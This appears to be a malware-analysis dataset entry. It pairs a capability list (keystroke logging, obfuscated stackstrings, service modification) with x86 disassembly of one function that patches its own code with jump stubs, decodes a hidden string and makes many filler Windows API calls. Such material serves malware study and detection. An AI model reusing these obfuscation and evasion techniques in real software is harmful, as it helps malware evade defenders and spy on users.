Function at 0xabc000
Capabilities:
Allocate thread local storage
Connect pipe
Contain obfuscated stackstrings
Create directory
Create pipe
Create process on windows
Delete file
Extract resource via kernel32 functions
Get common file path
Get disk information
Get file attributes
Get geographical location
Get graphical window text
Get memory capacity
Get system information on windows
Log keystrokes
Log keystrokes via polling
Modify service
Query environment variable
Query or enumerate registry key
Query service status
Set environment variable
Suspend thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov dword [ebp - 0x10], 0xabcb69
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xabc036
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xabc1b6
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xabc0b8
call fcn.0048ca92
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xabc07a
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xabc094
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xabc094
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xabc04a
mov byte [ebp - 0x68], 3
mov byte [ebp - 0x67], 0x21
mov byte [ebp - 0x66], 5
mov byte [ebp - 0x65], 0x6c
mov byte [ebp - 0x64], 8
mov byte [ebp - 0x63], 0x75
mov byte [ebp - 0x62], 7
mov byte [ebp - 0x61], 0x68
mov byte [ebp - 0x60], 0xb
mov byte [ebp - 0x5f], pe_nt_image_headers32
mov byte [ebp - 0x5e], 0xce
mov byte [ebp - 0x5d], 0xa0
mov byte [ebp - 0x5c], 0x8c
mov byte [ebp - 0x5b], 0xcd
mov byte [ebp - 0x5a], 0x69
mov byte [ebp - 0x59], 0x2d
mov byte [ebp - 0x58], 0xa
mov byte [ebp - 0x57], 0x23
mov byte [ebp - 0x56], 0x3b
mov byte [ebp - 0x55], 9
mov byte [ebp - 0x54], 0x72
mov byte [ebp - 0x53], 6
mov byte [ebp - 0x52], 0x79
mov byte [ebp - 0x51], 1
mov byte [ebp - 0x50], 0x82
mov byte [ebp - 0x4f], 4
mov byte [ebp - 0x4e], 0x86
mov byte [ebp - 0x4d], 0
mov byte [ebp - 0x4c], 0x83
mov byte [ebp - 0x4b], 2
mov byte [ebp - 0x4a], 0x81
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xabc146
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x1f
jae 0xabc1ab
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x68]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xabc172
mov dword [ebp - 0x24], 0xb
mov eax, dword [ebp - 8]
add eax, 9
mov dword [ebp - 8], eax
jmp 0xabc13e
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x67]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xabc19a
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xabc187
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x68]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xabc13e
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xaae742
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.00407b40
mov ecx, eax
call fcn.004031c5
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x48]
call fcn.00403169
and dword [ebp - 0x1c], 0
jmp 0xabc1ee
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xabc1fe
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xabc1e7
push 0
call dword [sym.imp.GDI32.dll_CreateFontIndirectW]
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_SysFreeString]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
push 1
push 0x1453
push 0x1e5a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemInt]
push 0
call dword [sym.imp.USER32.dll_DestroyIcon]
push 0x892
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0
push 0x1113
push 0x8ca
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
push 0x170d
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0
push 1
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
push 0x197
push 0
call dword [sym.imp.USER32.dll_CharUpperBuffW]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegSetKeySecurity]
push 0x1c67
push 0x1389
push 0x15ab
call dword [sym.imp.KERNEL32.dll_MulDiv]
push 0x18c7
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CombineRgn]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 0x186a
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
push 0x1687
push 0xd14
push 0
call dword [sym.imp.GDI32.dll_PtInRegion]
push 0
call dword [sym.imp.KERNEL32.dll_EncodePointer]
push 0
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0
push 0
push 0x13b0
push 0
push 0x42c
push 0
push 0x1b48
push 0
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push 0
call dword [sym.imp.KERNEL32.dll_SetDllDirectoryW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
call dword [sym.imp.KERNEL32.dll_GetACP]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0x19a7
push 0x1a97
push 0x200e
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_VariantCopyInd]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawFocusRect]
push 0x1e6b
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x139d
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetClassNameW]
push 0
push 0
push 0x2088
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
push 0
call dword [sym.imp.USER32.dll_CharUpperW]
push 0
push 0
push 0x6f1
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push 0x59a
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MapWindowPoints]
push 0
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
push 0
call dword [sym.imp.KERNEL32.dll_InitializeSListHead]
push 0
push 0
push 0x1bbb
push 0xb78
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendDlgItemMessageW]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
push 0x139f
push 0x1c81
push 0
call dword [sym.imp.USER32.dll_InflateRect]
push 0
push 0
push 0
push 0
push 0
push 0
push 0x1d82
push 0
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
push 0
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
push 0
push 0xed0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
push 0x2661
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegConnectRegistryW]
push 0
push 0x2234
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayLock]
push 0x2166
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowLongW]
push 0
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push 0
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
push 0x1b4
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x26c6
push 0x144a
push 0
call dword [sym.imp.GDI32.dll_OffsetRgn]
push 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x12a9
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetLayout]
push 0x2575
push 0
push 0x19c3
push 0
push 0x1945
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringW]
push 0
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
push 0
push 0x117e
push 0x159f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetViewportOrgEx]
push 0
push 0x1373
push 0x117c
push 0x417
call dword [sym.imp.KERNEL32.dll_RaiseException]